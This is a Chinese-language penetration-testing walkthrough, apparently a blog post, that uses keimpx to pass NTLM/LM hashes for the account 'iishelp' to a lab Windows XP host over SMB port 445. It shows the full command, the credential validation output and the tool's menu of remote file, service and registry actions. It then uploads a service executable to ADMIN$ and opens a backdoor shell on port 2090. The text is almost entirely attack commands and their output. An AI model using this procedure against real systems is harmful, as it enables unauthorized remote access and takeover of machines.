测试目标机器是winxp,ip:192.168.1.5。由于不是域机器,所以事先我关闭了防火墙和使用简单文件共享(打开我的文档->工具->文件夹选项->查看->去掉使用简单文件共享前的√)。

运行命令:

root@bt:/pentest/passwords/keimpx# ./keimpx.py -t 192.168.1.5 -v 1 -p 445 -U iishelp --nt=ccf9155e3e7db453aad3b435b51404ee --lm=3dbde697d71690a769204beb12283678

回显(其中以下的红字是让你选择的和我输的命令):

This product includes software developed by CORE Security Technologies

(http://www.coresecurity.com), Python Impacket library

keimpx 0.2

by Bernardo Damele A. G. <bernardo.damele@gmail.com>

[13:46:20] [INFO] Loading targets

[13:46:20] [INFO] Loading credentials

[13:46:20] [INFO] Loading domains

[13:46:20] [INFO] Loaded 1 unique targets

[13:46:20] [INFO] Loaded 1 unique credentials

[13:46:20] [INFO] No domains specified, using NULL domain

[13:46:20] [INFO] Attacking host 192.168.1.5:445

[13:46:20] [INFO] Valid credentials on 192.168.1.5:445: iishelp/3dbde697d71690a769204beb12283678:ccf9155e3e7db453aad3b435b51404ee

[13:46:20] [INFO] Attack on host 192.168.1.5:445 finished

The credentials worked in total 1 times

TARGET SORTED RESULTS:

192.168.1.5:445

iishelp/3dbde697d71690a769204beb12283678:ccf9155e3e7db453aad3b435b51404ee

USER SORTED RESULTS:

iishelp/3dbde697d71690a769204beb12283678:ccf9155e3e7db453aad3b435b51404ee

192.168.1.5:445

Do you want to get a shell from any of the targets? [Y/n]

Which target do you want to connect to?

[1] 192.168.1.5:445

1

Which credentials do you want to use to connect?

[1] iishelp/3dbde697d71690a769204beb12283678:ccf9155e3e7db453aad3b435b51404ee

1

[13:46:35] [INFO] type 'help' for help menu

help

Generic options

help - show this message

verbosity {level} - set verbosity level (0-2)

info - list system information

exit - terminates the SMB session and exit from the tool

Shares options

shares - list available shares

use {sharename} - connect to an specific share

cd {path} - changes the current directory to {path}

pwd - shows current remote directory

ls {path} - lists all the files in the current directory

cat {file} - display content of the selected file

download {filename} - downloads the filename from the current path

upload {filename} - uploads the filename into the current path

mkdir {dirname} - creates the directory under the current path

rm {file} - removes the selected file

rmdir {dirname} - removes the directory under the current path

Services options

deploy {service name} {local file} [service args] - deploy remotely a service executable

undeploy {service name} {remote file} - undeploy remotely a service executable

Shell options

shell [port] - spawn a shell listening on a TCP port, by default 2090/tcp

Users options

users [domain] - list users, optionally for a specific domain

pswpolicy [domain] - list password policy, optionally for a specific domain

domains - list domains to which the system is part of

Registry options (Soon)

regread {registry key} - read a registry key

regwrite {registry key} {registry value} - add a value to a registry key

regdelete {registry key} - delete a registry key

shell

[13:47:09] [INFO] Uploading the service executable to 'ADMIN$\urakxn.exe'

[13:47:09] [INFO] Connecting to the SVCCTL named pipe

[13:47:09] [INFO] Creating the service 'Ynohkb'

[13:47:09] [INFO] Starting the service 'Ynohkb'

[13:47:09] [INFO] Connecting to backdoor on port 2090, wait..

Microsoft Windows XP [\ufffd\u6c7e 5.1.2600]

(C) \ufffd\ufffd\u0228\ufffd\ufffd\ufffd\ufffd 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>